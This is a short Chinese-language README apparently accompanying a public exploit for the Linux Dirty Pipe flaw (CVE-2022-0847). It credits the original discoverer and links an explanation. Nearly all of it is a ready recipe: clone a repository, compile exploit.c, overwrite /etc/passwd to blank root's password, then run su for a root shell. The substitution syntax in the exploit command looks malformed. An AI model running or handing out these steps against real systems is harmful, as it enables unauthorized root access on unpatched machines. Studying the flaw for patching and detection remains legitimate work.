这是 Max Kellermann 针对 CVE-2022-0847(即 Dirty Pipe)利用漏洞的代码和使用说明。
请访问 https://dirtypipe.cm4all.com/ 了解更多关于该漏洞的工作原理!
git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit
./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"
su
